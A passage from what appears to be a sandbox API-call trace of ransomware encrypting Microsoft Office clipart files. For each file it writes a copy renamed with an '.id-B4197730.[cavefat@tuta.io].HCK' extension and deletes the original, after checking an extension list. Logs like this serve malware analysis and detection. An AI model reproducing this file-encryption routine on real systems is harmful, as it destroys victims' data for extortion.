(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.088] lstrlenW (lpString=".dbf") returned 4 [0243.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.088] lstrlenW (lpString=".1cd") returned 4 [0243.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.088] lstrlenW (lpString=".jpg") returned 4 [0243.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.088] lstrlenW (lpString=".doc") returned 4 [0243.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString=".docx") returned 5 [0243.088] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0243.088] lstrlenW (lpString=".pdf") returned 4 [0243.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString=".xls") returned 4 [0243.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.088] lstrlenW (lpString=".xlsx") returned 5 [0243.088] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0243.088] lstrlenW (lpString=".ppt") returned 4 [0243.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.088] lstrlenW (lpString=".zip") returned 4 [0243.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.088] lstrlenW (lpString=".rar") returned 4 [0243.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString=".bz2") returned 4 [0243.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString=".7z") returned 3 [0243.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.088] lstrlenW (lpString=".dbf") returned 4 [0243.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.088] lstrlenW (lpString=".1cd") returned 4 [0243.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0243.088] lstrlenW (lpString=".jpg") returned 4 [0243.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.089] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.089] lstrlenW (lpString="J0187859.WMF") returned 12 [0243.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.089] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=2732) returned 1 [0243.089] CloseHandle (hObject=0x564) returned 1 [0243.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf")) returned 0x220 [0243.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.090] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.090] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.091] GetLastError () returned 0x0 [0243.091] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xaac, lpOverlapped=0x0) returned 1 [0243.092] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xab0, lpOverlapped=0x0) returned 1 [0243.093] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.093] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0243.093] SetEndOfFile (hFile=0x560) returned 1 [0243.093] CloseHandle (hObject=0x560) returned 1 [0243.093] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.093] SetEndOfFile (hFile=0x564) returned 1 [0243.095] CloseHandle (hObject=0x564) returned 1 [0243.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf")) returned 1 [0243.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.096] lstrlenW (lpString=".doc") returned 4 [0243.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.096] lstrlenW (lpString=".docx") returned 5 [0243.096] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0243.096] lstrlenW (lpString=".pdf") returned 4 [0243.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.096] lstrlenW (lpString=".xls") returned 4 [0243.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.096] lstrlenW (lpString=".xlsx") returned 5 [0243.096] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0243.096] lstrlenW (lpString=".ppt") returned 4 [0243.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.096] lstrlenW (lpString=".zip") returned 4 [0243.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.096] lstrlenW (lpString=".rar") returned 4 [0243.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.096] lstrlenW (lpString=".bz2") returned 4 [0243.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.096] lstrlenW (lpString=".7z") returned 3 [0243.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.096] lstrlenW (lpString=".dbf") returned 4 [0243.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.096] lstrlenW (lpString=".1cd") returned 4 [0243.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.096] lstrlenW (lpString=".jpg") returned 4 [0243.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.096] lstrlenW (lpString=".doc") returned 4 [0243.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.096] lstrlenW (lpString=".docx") returned 5 [0243.096] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0243.096] lstrlenW (lpString=".pdf") returned 4 [0243.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.097] lstrlenW (lpString=".xls") returned 4 [0243.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.097] lstrlenW (lpString=".xlsx") returned 5 [0243.097] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0243.097] lstrlenW (lpString=".ppt") returned 4 [0243.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.097] lstrlenW (lpString=".zip") returned 4 [0243.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.097] lstrlenW (lpString=".rar") returned 4 [0243.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.097] lstrlenW (lpString=".bz2") returned 4 [0243.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.097] lstrlenW (lpString=".7z") returned 3 [0243.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.097] lstrlenW (lpString=".dbf") returned 4 [0243.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.097] lstrlenW (lpString=".1cd") returned 4 [0243.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0243.097] lstrlenW (lpString=".jpg") returned 4 [0243.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.097] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.097] lstrlenW (lpString="J0187861.WMF") returned 12 [0243.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.098] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9108) returned 1 [0243.098] CloseHandle (hObject=0x564) returned 1 [0243.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf")) returned 0x220 [0243.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.100] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.100] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.101] GetLastError () returned 0x0 [0243.101] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2394, lpOverlapped=0x0) returned 1 [0243.102] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x23a0, lpOverlapped=0x0) returned 1 [0243.103] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.103] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0243.103] SetEndOfFile (hFile=0x560) returned 1 [0243.103] CloseHandle (hObject=0x560) returned 1 [0243.103] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.103] SetEndOfFile (hFile=0x564) returned 1 [0243.249] CloseHandle (hObject=0x564) returned 1 [0243.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf")) returned 1 [0243.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.639] lstrlenW (lpString=".doc") returned 4 [0243.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.639] lstrlenW (lpString=".docx") returned 5 [0243.639] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0243.639] lstrlenW (lpString=".pdf") returned 4 [0243.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.639] lstrlenW (lpString=".xls") returned 4 [0243.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.639] lstrlenW (lpString=".xlsx") returned 5 [0243.639] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0243.639] lstrlenW (lpString=".ppt") returned 4 [0243.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.639] lstrlenW (lpString=".zip") returned 4 [0243.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.639] lstrlenW (lpString=".rar") returned 4 [0243.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.639] lstrlenW (lpString=".bz2") returned 4 [0243.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.639] lstrlenW (lpString=".7z") returned 3 [0243.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.639] lstrlenW (lpString=".dbf") returned 4 [0243.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.639] lstrlenW (lpString=".1cd") returned 4 [0243.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.639] lstrlenW (lpString=".jpg") returned 4 [0243.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.640] lstrlenW (lpString=".doc") returned 4 [0243.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.640] lstrlenW (lpString=".docx") returned 5 [0243.640] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0243.640] lstrlenW (lpString=".pdf") returned 4 [0243.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.640] lstrlenW (lpString=".xls") returned 4 [0243.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.640] lstrlenW (lpString=".xlsx") returned 5 [0243.640] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0243.640] lstrlenW (lpString=".ppt") returned 4 [0243.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.640] lstrlenW (lpString=".zip") returned 4 [0243.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.640] lstrlenW (lpString=".rar") returned 4 [0243.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.640] lstrlenW (lpString=".bz2") returned 4 [0243.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.640] lstrlenW (lpString=".7z") returned 3 [0243.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.640] lstrlenW (lpString=".dbf") returned 4 [0243.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.640] lstrlenW (lpString=".1cd") returned 4 [0243.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0243.640] lstrlenW (lpString=".jpg") returned 4 [0243.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.640] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.640] lstrlenW (lpString="J0188513.WMF") returned 12 [0243.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.855] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=12292) returned 1 [0243.855] CloseHandle (hObject=0x558) returned 1 [0243.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf")) returned 0x220 [0243.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0244.117] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.117] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0244.414] GetLastError () returned 0x0 [0244.414] ReadFile (in: hFile=0x2d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3004, lpOverlapped=0x0) returned 1 [0244.415] WriteFile (in: hFile=0x410, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3010, lpOverlapped=0x0) returned 1 [0244.416] ReadFile (in: hFile=0x2d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0244.416] WriteFile (in: hFile=0x410, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0244.416] SetEndOfFile (hFile=0x410) returned 1 [0244.416] CloseHandle (hObject=0x410) returned 1 [0244.417] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0244.417] SetEndOfFile (hFile=0x2d4) returned 1 [0244.419] CloseHandle (hObject=0x2d4) returned 1 [0244.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf")) returned 1 [0244.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.420] lstrlenW (lpString=".doc") returned 4 [0244.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString=".docx") returned 5 [0244.421] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0244.421] lstrlenW (lpString=".pdf") returned 4 [0244.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString=".xls") returned 4 [0244.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.421] lstrlenW (lpString=".xlsx") returned 5 [0244.421] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0244.421] lstrlenW (lpString=".ppt") returned 4 [0244.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.421] lstrlenW (lpString=".zip") returned 4 [0244.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.421] lstrlenW (lpString=".rar") returned 4 [0244.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString=".bz2") returned 4 [0244.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString=".7z") returned 3 [0244.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.421] lstrlenW (lpString=".dbf") returned 4 [0244.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.421] lstrlenW (lpString=".1cd") returned 4 [0244.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0244.421] lstrlenW (lpString=".jpg") returned 4 [0244.421] lstrcmpiW 